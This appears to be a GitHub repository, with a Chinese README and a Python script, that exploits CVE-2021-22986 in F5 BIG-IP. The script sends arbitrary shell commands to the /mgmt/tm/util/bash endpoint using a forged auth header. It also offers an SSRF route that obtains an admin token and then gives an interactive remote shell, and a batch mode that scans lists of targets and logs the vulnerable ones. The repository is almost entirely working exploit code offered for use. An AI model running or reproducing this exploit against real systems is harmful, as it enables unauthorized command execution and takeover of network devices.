├── 1.png ├── README.md ├── f5_rce.py └── ssrf.png /1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S1xHcL/f5_rce_poc/3d2859e986a7e3b93a2ddc1dcb1c20607c949542/1.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 使用 2 | 3 | ``` 4 | python3 f5_rce.py 5 | 6 | -u 指定目标URL 7 | -f 批量检测文件 8 | -c 执行命令 9 | -s/--ssrf 通过ssrf获得token执行命令 10 | ``` 11 | 12 | 效果如下所示: 13 | 14 | ![](./1.png) 15 | 16 | ``` 17 | python3 f5_rce.py -u 127.0.0.1 --ssrf 18 | ``` 19 | 执行命令后输入`exit`退出 20 | 21 | ![](./ssrf.png) 22 | 23 | PS:输出不够美感,我会修改的😁 24 | 25 | # 后续 26 | 27 | 更新: 28 | + 修改部分命令执行异常情况 29 | + 增加SSRF获取Token执行命令 30 | 31 | ~~1. 正则匹配,美化输出~~ 32 | 33 | ~~2. 更新其他poc利用方式~~ 34 | 35 | # 引用 36 | 37 | + [poc地址](https://twitter.com/wugeej/status/1372392693989445635) 38 | + [脚本小子是如何复现漏洞(CVE-2021-22986)并实现批量利用](https://mp.weixin.qq.com/s/cavKq04hNU5pJoTBiPMZkw) 39 | + [CVE-2021-22986](https://github.com/Al1ex/CVE-2021-22986) 40 | 41 | 42 | -------------------------------------------------------------------------------- /f5_rce.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | import argparse 4 | import re 5 | import json 6 | import time 7 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 8 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 9 | 10 | t = int(time.time()) 11 | 12 | def poc_1(target_url, command): 13 | print(target_url) 14 | headers = { 15 | 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:76.0) Gecko/20100101 Firefox/76.0', 16 | 'Content-Type': 'application/json', 17 | 'X-F5-Auth-Token': '', 18 | 'Authorization': 'Basic YWRtaW46QVNhc1M=' 19 | } 20 | data = {'command': "run",'utilCmdArgs':"-c '{0}'".format(command)} 21 | # proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} 22 | check_url = target_url + '/mgmt/tm/util/bash' 23 | try: 24 | r = requests.post(url=check_url, json=data, headers=headers, verify=False, timeout=20) 25 | if r.status_code == 200 and 'commandResult' in r.text: 26 | default = json.loads(r.text) 27 | display = default['commandResult'] 28 | save_file(target_url, t) 29 | print('[+] 存在漏洞 {0}'.format(target_url)) 30 | print('$ > {0}'.format(display)) 31 | else: 32 | print('[-] 不存在漏洞') 33 | except Exception as e: 34 | print('url 访问异常 {0}'.format(target_url)) 35 | 36 | def ssrf_poc(target_url): 37 | check_url = target_url + '/mgmt/shared/authn/login' 38 | headers = { 39 | 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:76.0) Gecko/20100101 Firefox/76.0', 40 | 'Content-Type': 'application/x-www-form-urlencoded' 41 | } 42 | data = json.dumps({'bigipAuthCookie': '', 'username': 'admin', 'loginReference': {'link': '/shared/gossip'}, 'userReference': {'link': 'https://localhost/mgmt/shared/authz/users/admin'}}) 43 | try: 44 | # 获取 token 值 45 | r1 = requests.post(url=check_url, headers=headers, data=data, verify=False, timeout=20) 46 | if r1.status_code == 200 and '/mgmt/shared/authz/tokens/' in r1.text: 47 | default = json.loads(r1.text) 48 | token_value = default['token']['token'] 49 | print('[+] Get Token : {0}'.format(token_value)) 50 | # 执行命令 ,同 poc_1() 51 | command_url = target_url + '/mgmt/tm/util/bash' 52 | headers['Content-Type'] = 'application/json' 53 | headers['X-F5-Auth-Token'] = token_value 54 | # command_value = 'id' 55 | while True: 56 | command_value = str(input('command: ')) 57 | if command_value == 'exit': 58 | break 59 | else: 60 | data_command = {'command': "run",'utilCmdArgs':"-c '{0}'".format(command_value)} 61 | try: 62 | r2 = requests.post(url=command_url, headers=headers, json=data_command, verify=False, timeout=20) 63 | if r2.status_code == 200 and 'commandResult' in r2.text: 64 | default = json.loads(r2.text) 65 | display = default['commandResult'] 66 | print('$ > {0}'.format(display)) 67 | else: 68 | print('命令执行异常,请重试') 69 | except Exception as e: 70 | print('服务异常') 71 | else: 72 | print('[-] 获取 Token 异常') 73 | except Exception as e: 74 | print('[-] 获取 Token 异常') 75 | 76 | 77 | def save_file(target_url, t): 78 | output_name = 'Output_{0}.txt'.format(t) 79 | f = open(output_name, 'a') 80 | f.write(target_url + '\n') 81 | f.close() 82 | 83 | def format_url(url): 84 | try: 85 | if url[:4] != "http": 86 | url = "https://" + url 87 | url = url.strip() 88 | return url 89 | except Exception as e: 90 | print('URL 错误 {0}'.format(url)) 91 | 92 | def main(): 93 | parser = argparse.ArgumentParser("f5 rce poc") 94 | parser.add_argument('-u', '--url', type=str, help=' 目标URL ') 95 | parser.add_argument('-f', '--file', type=str, help=' 批量文件路径 ') 96 | parser.add_argument('-c', '--command', type=str, default="id", help=' 执行命令 ') 97 | parser.add_argument('-s', '--ssrf', action='store_true', help=' 使用ssrf获取token执行命令 ') 98 | args = parser.parse_args() 99 | 100 | url = args.url 101 | file = args.file 102 | command = args.command 103 | 104 | if args.ssrf: 105 | target_url = format_url(url) 106 | ssrf_poc(target_url) 107 | elif not url is None: 108 | target_url = format_url(url) 109 | poc_1(target_url, command) 110 | elif file != '': 111 | for url_link in open(file, 'r', encoding='utf-8'): 112 | if url_link.strip() != '': 113 | url_path = format_url(url_link.strip()) 114 | poc_1(url_path, command) 115 | else: 116 | sys.exit(0) 117 | 118 | if __name__ == '__main__': 119 | main() -------------------------------------------------------------------------------- /ssrf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S1xHcL/f5_rce_poc/3d2859e986a7e3b93a2ddc1dcb1c20607c949542/ssrf.png --------------------------------------------------------------------------------